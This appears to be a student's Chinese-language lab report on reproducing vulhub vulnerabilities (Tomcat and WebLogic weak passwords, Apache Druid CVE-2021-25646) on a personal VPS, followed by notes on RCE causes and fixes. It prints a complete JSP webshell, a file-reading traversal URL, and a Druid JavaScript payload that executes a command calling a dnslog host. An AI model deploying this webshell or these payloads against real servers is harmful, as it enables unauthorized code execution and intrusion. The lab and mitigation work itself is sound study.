目录
任务一、在vps安装docker和docker-compose
任务二、上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
任务一、在vps安装docker和docker-compose
1.阿里云有官方提供的docker与docker源
2.kali
{
"registry-mirrors": [
"https://docker.1panel.live",
"https://hub.rat.dev/",
"https://docker.chenby.cn",
"https://docker.m.daocloud.io",
"https://docker.anyhub.us.kg",
"https://dockerhub.jobcher.com",
"https://dockerhub.icu"
]
}
任务二、上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
1.tomcat弱口令与文件上传
复现
已经在vps将docker部署完毕
在vps中将vulhub解压,进入tomcat/tomcat8
Cd vulhub-master/tomcat/
Docker-compose build
docker-compose up -d
默认配置,8080端口映射到8080端口
登录http://8.137.70.124:8080/manager/html
弹出窗口要求输入账号密码,可以抓包爆破
tomcat/tomcat
进入后下面图片有上传文件处
在上面选择文件处提交一个WAR文件
以下构建一个jsp文件
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b,
0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class
clazz=Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer",
String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class
clazz=Class.forName("java.util.Base64"); Object decoder=clazz.getMethod("getDecoder").invoke(null); return (byte[])
decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%>
<% String cls=request.getParameter("passwd"); if (cls !=null) { new
U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>
经过此命令jar -cvf shell.war shell.jsp生成一个war文件,点击提交,发现新增条目
打开中国蚁剑,新建数据,填写如图,测试链接
漏洞成因
- (1)登录存在弱口令(默认密码未修改)
- (2)上传文件检测漏洞较大
- (3)没有对目录的操作设置权限限制
2.weblogic弱口令
复现
cd weblogic/weak_password
docker-compose up -d
查看映射端口
登录http://8.137.70.124:7001/console
http://8.137.70.124:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
http://8.137.70.124:7001//hello/file.jsp?path=config/config.xml
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
输入弱口令
weblogic/Oracle@123
一直下一步直到完成
漏洞成因
- (1)登录存在弱口令
- (2)文件上传有漏洞
- (3)没有对目录的操作设置权限限制
3.CVE-2021-25646
Base directory: quickstart/tutorial/
File filter: wikiticker-2015-09-12-sampled.json.gz
不填写,直接提交
"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping kx1o8n.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}}
点击放包,打开dnslog,测试刚才的命令有显示,漏洞存在
任务三、总结RCE漏洞的原理和利用条件及解决方案
1.原理
- RCE(remote command/code execute,远程命令执行)漏洞,应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。但攻击者向目标系统发送恶意输入,目标系统处理不当没有过滤掉从而执行了恶意代码,造成了攻击者的远程登陆。
2.利用条件
- (1)可以控制或影响系统调用的输入:
- 攻击者能够输入恶意的系统命令或代码,并在服务器端执行。
- (2)有可能注入代码到程序执行流:
- 如果程序在处理用户输入时没有正确地进行校验,攻击者可以将恶意代码注入到执行流中。
- (3)漏洞的执行上下文具有足够权限:
- 攻击者通常会以应用程序的权限来执行代码。如果应用程序以高权限(如root用户)运行,攻击的影响更大。
- (4)能够通过网络与目标服务器进行交互:
- 攻击者需要与目标服务器建立网络连接,发送恶意请求以利用漏洞。
解决方案:
- (1)输入验证和转义:
- 对所有用户输入进行严格的验证和过滤,防止注入恶意内容。使用白名单验证是比较安全的做法。
- (2)避免使用危险函数:
- 尽量避免使用 eval()、exec()、system() 等不安全的函数。即使需要调用系统命令,也应使用更安全的接口(如 subprocess 模块中的 run() 等)。
- (3)最小化权限:
- 限制应用程序运行的权限,确保即使发生RCE,攻击者也只能执行有限的操作。
- (4)定期进行代码审计,使用安全扫描工具和代码分析工具检测潜在的RCE漏洞。
- (5)使用最新的安全补丁:
- 及时更新操作系统、应用程序和依赖库,修复已知的安全漏洞。
- (6)使用WAF
- 部署Web应用防火墙,过滤恶意请求,减轻部分RCE攻击的风险。